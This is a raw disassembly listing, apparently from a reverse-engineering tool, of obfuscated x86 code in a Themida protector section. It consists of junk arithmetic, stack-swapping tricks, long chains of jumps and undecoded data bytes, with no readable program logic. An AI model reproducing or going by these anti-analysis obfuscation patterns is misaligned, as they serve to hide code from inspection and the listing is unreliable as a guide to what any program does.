		dd 815D0000h, 4C5h, 4C58300h, 2B19E955h, 148B0000h, 4C48324h
		dd 0D103E9C1h, 17E981E9h, 8104C0CAh, 8C638AC5h,	7968E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501E66:				; CODE XREF: Themida_:0050A747j
		push	ebx
		xor	dword ptr [esp], 3E43202Ah
		pop	ebp
		push	edx
		mov	edx, 7CC876A0h
		add	edx, 11EF08DBh
		or	edx, 0FF21EC4h
		and	edx, 4F382109h
		neg	edx
		shr	edx, 5
		xor	edx, 39C55EDDh
		jmp	loc_504F02
; ---------------------------------------------------------------------------


loc_501E97:				; CODE XREF: Themida_:00503433j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_504041
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E9290000h, 74FF515Dh, 8F590424h, 895C2404h,	0E952240Ch
		dd 58D8h, 28F7F180h, 0D2F659CAh, 0FE07EAC0h, 0E9CAFEC2h
		dd 17EFh, 5C240C87h, 0B4240489h, 29A5E9B5h, 0EC830000h
		dd 24348904h, 13ABA52h,	0F74A79B4h, 3C9FE9D2h, 34FF0000h
		dd 0BCCBE924h, 12E90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501EFF:				; CODE XREF: Themida_:00506659j
		mov	eax, 248B2D3Dh
		jmp	loc_50C43A
; ---------------------------------------------------------------------------


loc_501F09:				; CODE XREF: Themida_:00507944j
		add	esi, 24AA7547h
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	4EF6h
		mov	[esp], edi
		mov	edi, 308F21C3h
		dec	edi
		or	edi, 4F597399h
		dec	edi
		jmp	loc_50A10E
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 0EA815C24h, 4F3A509Bh,	21BEE9h
		dd 48B6600h, 4EC8324h, 1664E9h,	6B7ABF00h, 0D9E92BAFh
		dd 8B000048h, 0C481240Ch, 4, 0EB81C329h, 0D3E6938h, 71BCEB81h
		dd 8B6662DCh, 0EC812414h, 4, 0E9243C89h, 7751h,	0BF243C89h
		dd 4, 249BC581h, 0C58114BBh, 17582484h,	7AE9FD01h, 0BF00000Eh
		dd 0E90533Ch, 4738F781h, 0F9317D47h, 0E9CB015Fh, 8774h
		dd 50E68956h, 4B8h, 8BC60100h, 0C4832404h, 4B85004h, 29000000h
		dd 2DE958C6h, 0B500004Bh, 38B25262h, 0E2C0C2FEh, 5FF28006h
		dd 0F6EAB551h, 0C0C5FED5h, 0DFE907E5h, 89000040h, 24348BF7h
		dd 4C481h, 0F8290000h, 7AADE95Fh, 14310000h, 24143324h
		dd 5024248Bh, 4EC81h, 2C890000h, 426BD24h, 0BB537CB1h
		dd 2B1744E9h, 0A6E9DD01h, 0BA000080h, 562376FCh, 69A6F281h
		dd 0D689025Eh, 0E0CEB95Ah, 0F101AB82h, 2FC7E95Eh, 0B2520000h
		dd 8BD328E4h, 32E92414h, 66000071h, 9C242CD3h, 0FFF7B4E9h
		dd 0E9D300FFh, 9B3Dh
; ---------------------------------------------------------------------------


loc_502064:				; CODE XREF: Themida_:00502420j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_503DB1
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 0E99CC138h, 0FFFFF791h, 9242E95Dh, 0C3300000h
		dd 0BD54E9h
		db 0
; ---------------------------------------------------------------------------


loc_50208D:				; CODE XREF: Themida_:00505B08j
		mov	ebx, esp
		push	edx
		push	ebp
		mov	ebp, 7A9D6640h
		mov	edx, 0B3EDD3BAh
		add	edx, ebp
		pop	ebp
		and	edx, 18095800h
		shr	edx, 3
		jmp	loc_501BEA
; ---------------------------------------------------------------------------


loc_5020AC:				; CODE XREF: Themida_:00509818j
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_502371
; ---------------------------------------------------------------------------
		dd 284E2C5Bh, 664E04C8h, 50240C8Bh, 405E089h, 5000000h
		dd 2, 5C240487h, 0B1516659h, 66CB00D3h,	67C38059h, 0E961EB80h
		dd 0ACF1h, 4C481h, 68560000h, 0F2959C0h, 6EA8E9h, 2434FF00h
		dd 582434FFh, 0B7EFE956h, 0F8280000h, 241C8B66h, 4EC81h
		dd 0C890000h, 59A26824h, 24890000h, 24048124h, 4, 0E92434FFh
		dd 2511h
; ---------------------------------------------------------------------------


loc_502144:				; CODE XREF: Themida_:00504DF2j
		add	eax, 6D8E041Dh
		push	dword ptr [edi+eax*4]
		jmp	loc_509249
; ---------------------------------------------------------------------------
		db 1, 0F2h, 5Eh
		dd 8B241487h, 89512424h, 2DE955E1h, 5F00001Eh, 6610BE56h
		dd 0EC816792h, 4, 0B8240489h, 1, 0F2E9C601h, 81000046h
		dd 4C4h, 0A9D4E900h, 48B0000h, 4C48124h, 52000000h, 14BBBD55h
		dd 0C6E91459h, 0B40000BAh, 0DCF480B7h, 28E4C380h, 0FE98E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5021AE:				; CODE XREF: Themida_:0050D8CCj
		pop	esp
		sub	[edi+20h], ebx
		pop	ebx
		mov	ebp, [esp]
		jmp	loc_502A6E
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 685D0000h, 1A06h, 0FFFDBBE9h, 0E95366FFh, 7C14h
		dd 81E38953h, 4ECh, 24348900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50D8D7
; ---------------------------------------------------------------------------


loc_5021F8:				; CODE XREF: Themida_:00509CCFj
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_508BA5
; ---------------------------------------------------------------------------


loc_502207:				; CODE XREF: Themida_:0050DB0Dj
		mov	[esp], edx
		mov	edx, esi
		push	ebp
		mov	ebp, edx
		push	130Ah
		mov	[esp], esi
		mov	esi, ebp
		mov	edi, esi
		pop	esi
		jmp	loc_5035F4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E6895624h, 4C681h, 0EE830000h, 6E29E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502236:				; CODE XREF: Themida_:00503AE7j
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_502CB9
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 40BAh, 89243C89h,	9F85E9E7h, 0EC810000h
		dd 4, 54243489h, 4C6815Eh, 83000000h, 0FF5604C6h, 5E042474h
		dd 5C24048Fh, 4EC81h, 34890000h, 6FD3E924h, 0BD550000h
		dd 61B27816h, 5079CD81h, 0E5C11029h, 5EDC102h, 6948F581h
		dd 0D4E972F8h, 680000A4h, 3B29h, 81243489h, 4ECh, 24248900h
		dd 4240483h, 5624348Bh,	24348B54h, 81E38953h, 4C3h, 4C38100h
		dd 0E9000000h, 87ACh, 3C596856h, 8F540000h, 0BB532404h
		dd 4, 4245C01h,	24348B5Bh, 5504C483h, 7E2354BDh, 0E9D5F75Fh
		dd 0B884h, 93CDE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502306:				; CODE XREF: Themida_:00508F37j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0B102956h
		add	edx, ebx
		jmp	loc_502425
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 3A11h, 4559CD89h, 5772ED81h,	48E924EFh, 66FFFFF6h, 0E924048Bh
		dd 0A546h, 5755DDF7h, 1C1CE95Dh, 51580000h, 3F0F6855h
		dd 49E976C8h, 8100007Ch, 4C6h, 0B9515500h, 740506D8h, 1C23DCBDh
		dd 21ED81F2h, 2951C92Ah, 21C581CDh, 5951C92Ah, 3856E9h
		db 0
; ---------------------------------------------------------------------------


loc_502371:				; CODE XREF: Themida_:005020CBj
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_50542A
; ---------------------------------------------------------------------------


loc_50237B:				; CODE XREF: Themida_:0050596Cj
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 9951237h
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_502839
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 4812404h, 424h, 95E95B00h, 330000A3h, 1C31241Ch, 241C3324h
		dd 0C83B665Ch, 2328E99Ch, 4E040000h, 4DA7E9h, 3AF28100h
		dd 560AC60Bh, 4832FCBEh, 0C6814635h, 30A67C9Bh,	0BF57h
		dd 0F7290000h, 3C8BFE89h, 4C48124h, 0E9000000h,	9825h
; ---------------------------------------------------------------------------


loc_5023EC:				; CODE XREF: Themida_:0050311Aj
		pop	eax
		add	eax, 4
		push	75Eh
		mov	[esp], ebp
		jmp	loc_508A8C
; ---------------------------------------------------------------------------


loc_5023FF:				; CODE XREF: Themida_:00504E99j
		add	ebx, 0F97739Fh
		sub	ebx, 117216B8h
		add	ebx, edx
		add	ebx, 117216B8h
		sub	ebx, 0F97739Fh
		add	ebx, 469A1147h
		pop	edx
		jmp	loc_502064
; ---------------------------------------------------------------------------


loc_502425:				; CODE XREF: Themida_:00502311j
		pop	ebx
		mov	ebp, edx
		pop	edx
		mov	edx, 3CE43F28h
		xor	edx, ebp
		pop	ebp
		and	eax, edx
		jmp	loc_50DD2E
; ---------------------------------------------------------------------------
		dd 0E92C77FFh, 19D0h, 0CD81DDF7h, 32AC02C5h, 8276E9h, 0CF685300h
		dd 89000057h, 0E2892414h, 0A5ABE9h, 15A5F00h, 4B8D68D8h
		dd 0E8E90000h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50246B:				; CODE XREF: Themida_:00505BFEj
		sub	edx, ebp
		pop	ebp
		add	edx, 1
		dec	edx
		push	esi
		jmp	loc_506F76
; ---------------------------------------------------------------------------


loc_502478:				; CODE XREF: Themida_:005091F3j
		pop	edx
		pop	eax
		push	266Ah
		jmp	loc_50C4FD
; ---------------------------------------------------------------------------
aFysti		db 'fY钛',0
		dw 8100h
		dd 4C4h, 0E9008F00h, 1BC5h, 0F2EB81h, 0CB014FCFh, 0F2C381h
		dd 0EFE94FCFh, 50000000h, 9622D4B8h, 1CF75034h,	0BA525824h
		dd 7E06464Fh, 1F91F281h, 0EA8116C4h, 36D0070Bh,	0F702EAC1h
		dd 74EA81DAh, 1BEED48h,	0A7E95AD0h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5024DB:				; CODE XREF: Themida_:00505A50j
		mov	edi, 778550E4h
		jmp	loc_509EF3
; ---------------------------------------------------------------------------


loc_5024E5:				; CODE XREF: Themida_:00505B70j
		sub	ch, 8Eh
		or	dl, ch
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	dl, 0BCh
		jmp	loc_50C153
; ---------------------------------------------------------------------------
		db 89h,	0C7h, 58h
		dd 2CF0E9h, 0DE95A00h, 5600007Ch, 0F7021968h, 0C6815E70h
		dd 2BA01D3Ah, 7725BA52h, 0DAF77A98h, 73DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50252D:				; CODE XREF: Themida_:00502FB8j
		shr	ecx, 7
		push	6DD1h
		mov	[esp], ebp
		push	ebx
		pop	ebp
		push	edi
		push	esi
		mov	esi, ebp
		push	23D4h
		mov	[esp], eax
		mov	eax, esi
		mov	edi, eax
		pop	eax
		pop	esi
		mov	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 66E55C91h
		sub	eax, 29561070h
		not	eax
		shl	eax, 8
		dec	eax
		xor	eax, 70B3DDFBh
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		jmp	loc_507AB4
; ---------------------------------------------------------------------------


loc_502584:				; CODE XREF: Themida_:00504259j
		sub	eax, 447773E3h
		mov	ecx, [esp]
		jmp	loc_50B52E
; ---------------------------------------------------------------------------
		db 20h,	4, 24h
aSB		db ' b',0
		align 2
		dw 8159h
		dd 4C3h, 241C8700h, 61B3E95Ch, 0EAC10000h, 5EC28102h, 0E9FFD284h
		dd 8421h, 6804C483h, 7E20h, 7276E9h, 0F247E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5025CA:				; CODE XREF: Themida_:00505D28j
		pop	ecx
		jmp	loc_50839E
; ---------------------------------------------------------------------------
		dd 0B558DBBBh, 8EBC166h, 87FAC381h, 0DA015BDFh,	97A3E9h
		dd 81D1F700h, 0BCC61E9h, 0FD2AE9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5025F2:				; CODE XREF: Themida_:0050BCAFj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5029C9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4AE9240Ch, 0B8000099h, 0C844A574h, 6220E9h, 24343300h
		dd 2F64E95Ch, 555A0000h, 5D2414F7h, 0C6E95157h,	81FFFFF7h
		dd 4ECh, 240C8900h, 5585450h, 4, 4A4E68h, 24148900h, 3F0E9h
		dd 0DBC38100h, 5F3C0652h, 0E9241C87h, 8E2Ch
; ---------------------------------------------------------------------------


loc_50265C:				; CODE XREF: Themida_:00505792j
		mov	[esp], ebx
		jmp	loc_508DE0
; ---------------------------------------------------------------------------


loc_502664:				; CODE XREF: Themida_:00508F9Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50ABAC
; ---------------------------------------------------------------------------


loc_50266F:				; CODE XREF: Themida_:00509D0Fj
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_50372D
; ---------------------------------------------------------------------------


loc_502679:				; CODE XREF: Themida_:00505474j
		mov	[esp], ecx
		mov	ch, 0F4h
		shl	ch, 6
		jmp	loc_50787D
; ---------------------------------------------------------------------------


loc_502686:				; CODE XREF: Themida_:00505CD3j
		push	edi
		jmp	loc_502B1E
; ---------------------------------------------------------------------------


loc_50268C:				; CODE XREF: Themida_:00509EEEj
		xor	[edi+24h], edx
		jmp	loc_509F00
; ---------------------------------------------------------------------------
		dd 240C8B66h, 5342E951h, 4CBB0000h, 556513Ah, 33173310h
		dd 47E9D801h, 10000B7h,	24E9D3h, 59540000h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 24048053h, 68665BFFh, 1C280000h, 394FE924h
		dd 8B5A0000h, 0EBE9240Ch, 5F000097h, 410CE9h, 0E9586600h
		dd 5F7Fh, 0E959CF89h, 7E99h, 4C181h, 0C1830000h, 0A548E902h
		dd 7E2C0000h, 18CCE9h, 74FF5000h, 8F580424h, 248B2404h
		dd 24042824h, 0F0EFE99Ch, 0E952FFFFh, 20A9h
; ---------------------------------------------------------------------------


loc_502728:				; CODE XREF: Themida_:0050C969j
		mov	ebp, 49E029Bh
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_505CF5
; ---------------------------------------------------------------------------
		db 54h,	59h, 81h
		dd 4C1h, 1B6FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50274A:				; CODE XREF: Themida_:0050DB20j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	31B2h
		mov	[esp], ecx
		push	2CD9113Dh
		jmp	loc_503BEF
; ---------------------------------------------------------------------------
		db 5Dh,	8Fh, 4
		dd 9EE95C24h, 83FFFFF0h, 472104C4h, 24048B1Ch, 0E9E68956h
		dd 0FFFFF4BEh, 0E92414F6h, 186Dh, 9D1C77FFh, 14D35966h
		dd 76E99C24h, 53FFFFF0h, 0EC815B54h, 4,	0BF243C89h, 4
		dd 17E4EB81h, 0FB01358Dh, 67B1E9h, 5AF18100h, 1A613D1h
		dd 0C72959C8h, 7D34E9h,	48B6600h, 30006824h, 2C890000h
		dd 52E58924h, 5182B951h, 0F7417494h, 0D4C181D1h, 89780892h
		dd 778FE9CAh, 0C890000h, 7EB524h, 2434FFE8h, 5E545659h
		dd 945AE9h, 4B95100h, 1000000h,	0E6E959CFh
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50280F:				; CODE XREF: Themida_:0050A322j
		pop	ebx
		xor	ebx, 3E7D67AFh
		jmp	loc_50C45E
; ---------------------------------------------------------------------------


loc_50281B:				; CODE XREF: Themida_:0050AD20j
		mov	dh, 36h
		jmp	loc_505407
; ---------------------------------------------------------------------------
		dw 0EBD1h
		dd 0EB81D3F7h, 60E42E63h, 4BE9D387h, 5C00000Ah,	2427E9h
		db 0
; ---------------------------------------------------------------------------


loc_502839:				; CODE XREF: Themida_:00502391j
		push	1C7h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_504161
; ---------------------------------------------------------------------------
aMsT		db 'T',0
		dw 8100h
		dd 4C3h, 4C38300h, 5C241C87h, 4EC81h, 4890000h,	5E08924h
		dd 4, 4B951h, 0C8010000h, 2B38E959h, 0C7810000h, 77843F71h
		dd 2379E9h, 0D8305A00h,	4EAFE9h, 0D3E95600h, 660000AAh
		dd 0E9240C8Bh, 9A8Dh, 0EBC0C3FEh, 51506605h, 90E9DD88h
		dd 0BD00000Ch, 2, 0DDE9E801h, 83000017h, 48704C4h, 8DE95A24h
		dd 83FFFFF4h, 148904ECh, 0A7B35324h, 421EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5028D5:				; CODE XREF: Themida_:0050C48Bj
		xor	esi, eax
		jmp	loc_50AAA9
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0E95D5455h, 5613h
; ---------------------------------------------------------------------------


loc_5028E8:				; CODE XREF: Themida_:0050D0C9j
		push	ebx
		push	esi
		mov	esi, 287D7B3Fh
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		add	ebx, 0D78284C2h
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 1E993C71h
		jmp	loc_5099D6
; ---------------------------------------------------------------------------
aUsC		db 'U龗',0
		align 10h


loc_502910:				; CODE XREF: Themida_:00506AB9j
		sub	dword ptr [esp+4], 2C374B8h
		mov	ebx, [esp]
		jmp	loc_50832A
; ---------------------------------------------------------------------------
		dd 0CB8076B3h, 0EEB8056h, 745FE9h
		db 0
; ---------------------------------------------------------------------------


loc_50292D:				; CODE XREF: Themida_:0050A04Fj
		mov	ebx, [esp]
		jmp	loc_50D515
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 7187BF57h, 0F78110B3h, 10B37183h, 685FF801h,	1880h
		dd 0BD242C89h, 4, 0E95DE801h, 99B8h, 52E9D701h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502963:				; CODE XREF: Themida_:0050B502j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebx, 3C1333C9h
		jmp	loc_505E99
; ---------------------------------------------------------------------------
		db 66h
		dd 66543968h, 0B7241C89h, 0F7F780CDh, 8047E780h, 0F40493EFh
		dd 0FFE95266h, 660000A1h, 6824048Bh, 522h, 54241C89h, 83241C8Bh
		dd 0C38104C4h, 4, 4EC81h, 34890000h, 2E3ABE24h,	25E94D4Ah
		dd 66000012h, 56241C8Bh, 1511E9h
		db 0
; ---------------------------------------------------------------------------


loc_5029C9:				; CODE XREF: Themida_:00502601j
		pop	esp
		mov	[esp], edx
		jmp	loc_50CFFF
; ---------------------------------------------------------------------------


loc_5029D2:				; CODE XREF: Themida_:0050B46Ej
		xor	dl, 7Ah
		shl	dl, 7
		sub	dl, 85h
		dec	dl
		xor	dl, 74h
		sub	ch, dl
		pop	edx
		xor	bh, ch
		pop	ecx
		sub	ch, bh
		pop	ebx
		or	ch, 91h
		jmp	loc_508808
; ---------------------------------------------------------------------------


loc_5029F1:				; CODE XREF: Themida_:0050190Fj
		sub	ebx, 40A6973h
		jmp	loc_50A04C
; ---------------------------------------------------------------------------
		dd 4EC835Fh, 817AE9h, 5FFE2900h, 5F5EF229h, 4825BF57h
		dd 0F7813DBAh, 996BFBA9h, 95FFA01h, 148B1C57h, 4C48124h
		dd 0E9000000h, 0FFFFEDE5h, 4A1CBA52h, 0CA8122FBh, 68FC30FDh
		dd 95E7E9h, 4BA00h, 0D0290000h,	2404875Ah, 2424895Ch, 4240481h
		dd 59000000h, 7B10E9h, 68FB0100h, 928h,	57240C89h, 0C7A5BBFh
		dd 7B6EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502A6E:				; CODE XREF: Themida_:005021B6j
		add	esp, 4
		jmp	loc_5030BD
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 0D2C68001h, 661AEE80h, 280DB353h, 5B66DEh, 24148BF3h
		dd 4C481h, 44E90000h, 5600000Fh, 0E68F45BEh, 5EF30135h
		dd 0A5BE9h, 5DE82900h, 24048150h, 2ACB190Eh, 0EE98159h
		dd 582ACB19h, 23E9CB01h, 5C000013h, 6804C483h, 6C4h, 0E9243489h
		dd 0A02Fh, 6801C683h, 0
		dd offset dword_4AC05C+48Dh
		dd 2CF00000h, 8961E941h, 0EB810000h, 7B917F74h,	0E9242C8Bh
		dd 12A4h, 4055Ch, 0FB680000h, 8900000Eh, 0EC83241Ch, 242C8904h
		dd 8F7B9268h, 2229E916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502B12:				; CODE XREF: Themida_:00502CA4j
		push	ecx
		pop	ebp
		push	62A2h
		jmp	loc_50B071
; ---------------------------------------------------------------------------


loc_502B1E:				; CODE XREF: Themida_:00502687j
		push	2D442D5Ch
		jmp	loc_501DA2
; ---------------------------------------------------------------------------
		dd 815F5457h, 4C7h, 5624E900h, 248B0000h, 0C896624h, 0B60F6624h
		dd 9C5166C8h, 0FFECC8E9h, 6BC581FFh, 81536361h,	8E0701F5h
		dd 7BC58124h, 89691F81h, 0F7415DE9h, 656DE9D9h,	3C8B0000h
		dd 4C48124h, 81000000h,	2C3h, 241C8700h, 0B259E95Ch, 515A0000h
		dd 2AE9E189h, 570000B1h, 0C781E789h, 4,	8704C783h, 15C243Ch
		dd 2C812404h, 0FD3E4824h, 0EC6BE932h, 148BFFFFh, 4C48324h
		dd 0EA81D2F7h, 185766CBh, 835AD701h, 0FF5702C7h, 8B042474h
		dd 47E9243Ch, 0B100004Ah, 0F748E914h, 0EC83FFFFh, 241C8904h
		dd 0EDBE5652h, 890DF05Eh, 81525EF2h, 14E72434h,	0A9E941D1h
		dd 300000AEh, 12A168C3h, 2C890000h, 81E58924h, 4C5h, 4EC8300h
		dd 505DE9h, 24048F00h, 0E904EC83h, 4D4Ah, 0BD242C89h, 32FD3E48h
		dd 2BB668h, 243C8900h, 4A3C26BFh, 247C0123h, 60FCE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502C2E:				; CODE XREF: Themida_:00504AA2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_501AE3
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFEBC8E9h, 5AD389FFh, 565BD901h, 3E7522BEh,	0EBCE812Eh
		dd 46496611h, 75E8EE81h, 0C1816F7Eh, 26DF7C47h,	0E981F101h
		dd 26DF7C47h, 0E924348Bh, 922Ah
; ---------------------------------------------------------------------------


loc_502C78:				; CODE XREF: Themida_:00507015j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, 0D93AE220h
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4


loc_502C92:				; CODE XREF: Themida_:005052B5j
		push	58CCh
		mov	[esp], ecx
		mov	ecx, ebx
		push	3D66h
		mov	[esp], ebp
		jmp	loc_502B12
; ---------------------------------------------------------------------------
aWspl		db 'WPl',0
		dw 0BA00h
		dd 7E5F2766h, 18F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_502CB9:				; CODE XREF: Themida_:00502246j
		xchg	ebp, [esp]
		pop	esp
		xor	esi, 2A847116h
		jmp	loc_50827A
; ---------------------------------------------------------------------------
		dd 0F703E0C1h, 4EAEE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502CD2:				; CODE XREF: Themida_:005019A0j
		add	eax, esi
		pop	esi
		pop	ebx
		jmp	loc_50D26F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E5E904E6h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502CE3:				; CODE XREF: Themida_:00508B18j
		sub	edx, 2CB72EA2h
		sub	edx, esi
		add	edx, 2CB72EA2h
		pop	esi
		shr	edx, 2
		push	eax
		jmp	loc_50C900
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 705Bh, 68241489h,	1925h, 83242489h, 5A042404h
		dd 4C281h, 89510000h, 4C181E1h,	83000000h, 0C8704E9h, 61C3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502D2E:				; CODE XREF: Themida_:0050D270j
		jmp	loc_501811
; ---------------------------------------------------------------------------


loc_502D33:				; CODE XREF: Themida_:00508AF2j
		mov	ebp, 63A14458h
		add	esi, ebp
		pop	ebp
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_50CD68
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4B951E7h, 1000000h, 0EF8159CFh, 4, 5C243C87h, 0B9240C89h
		dd 70682DCBh, 2D61E981h, 0CF09010Ch, 8AC78159h,	0E910017Ch
		dd 4AB8h
; ---------------------------------------------------------------------------


loc_502D78:				; CODE XREF: Themida_:00505305j
		xor	eax, edi
		mov	edi, [esp]
		push	1CC8h
		mov	[esp], edx
		jmp	loc_50BE2C
; ---------------------------------------------------------------------------
		dw 425Dh
		dd 0E281E2D1h, 2D3A2CF5h, 1881E9h, 0D176800h, 0C890000h
		dd 38EDE924h, 0F74A0000h, 0C7C281DAh, 89F16EBDh, 7BE95AD0h
		dd 5800000Eh, 0B353C1FEh, 35C38038h, 204EE9h, 243C2900h
		dd 96C7815Fh, 0E91B8A00h, 9A02h
; ---------------------------------------------------------------------------


loc_502DD4:				; CODE XREF: Themida_:0050B07Cj
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 33341D96h
		sub	eax, 794E0CD2h
		and	eax, 9984FA0h
		or	eax, 97C0F57h
		shl	eax, 7
		jmp	loc_506689
; ---------------------------------------------------------------------------
		dd 4BEh, 0F353E900h, 0E95CFFFFh, 0FFFFEA0Dh, 8B24048Fh
		dd 8B662424h, 0CC682404h, 89000075h, 0E389241Ch, 9925E9h
		dd 84ED8100h, 51175824h, 0BB249BB9h, 4D36E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502E2E:				; CODE XREF: Themida_:0050791Fj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	6FBEh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, 24AA7547h
		jmp	loc_507942
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 50h
		dd 0C71296B8h, 0ED6E054Ah, 0C501B538h, 4C58158h, 87000000h
		dd 8F5C242Ch, 8B5C2404h, 0DC682404h, 0E9000061h, 482h
		dd 4C481h, 0F3280000h, 0C0B60F5Ah, 0E98734FFh, 0FFFFE971h
		dd 0E9240C87h, 4DA4h, 7DE9D0F7h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502EAF:				; CODE XREF: Themida_:00506A96j
		mov	ecx, 4072272h
		inc	ecx
		not	ecx
		push	edx
		mov	edx, 7D1F6DFAh
		jmp	loc_50C865
; ---------------------------------------------------------------------------
		dw 4AE9h
		dd 33FFFFE9h, 248B243Ch, 243C8924h, 0EC815F54h,	4, 0BE243489h
		dd 4, 1636C781h, 0F7012F95h, 1636EF81h,	555E2F95h, 2BDh
		dd 5DEF0100h, 5C243C87h, 59E0E9h, 37E95400h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502F07:				; CODE XREF: Themida_:005038ECj
		mov	esp, [esp]
		xor	ebx, eax
		sub	edx, 3EB67CD2h
		sub	edx, 77F91FA2h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 55F67F32h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5072DA
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh, 3D4568h, 48F5400h, 4BB5324h, 81000000h, 4A04246Ch
		dd 0E93D254Fh, 37DEh, 0FFE8B8E9h, 90C380FFh, 63D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_502F61:				; CODE XREF: Themida_:00503A93j
		mov	[esp], edx
		mov	edx, 7D580860h
		push	ebx
		mov	ebx, 25B7037Ah
		push	ecx
		mov	ecx, 314A4FD6h
		sub	ecx, 50DA7DD2h
		sub	ecx, 5F92555Fh
		push	edi
		mov	edi, 0AE60C23h
		push	4929h
		mov	[esp], esi
		jmp	loc_50890B
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812414h, 4, 1C68E9h
		db 0
; ---------------------------------------------------------------------------


loc_502FA5:				; CODE XREF: Themida_:0050C915j
		sub	eax, edx
		xchg	eax, edx
		pop	eax
		sub	edx, 0FFFFFFFFh
		add	edx, 93344FFh
		and	ecx, edx
		pop	edx
		jmp	loc_50252D
; ---------------------------------------------------------------------------
		db 59h,	0, 0DEh
		dd 0E9F1885Bh, 0A6AEh, 7CAD0566h, 2053E9h
		db 0
; ---------------------------------------------------------------------------


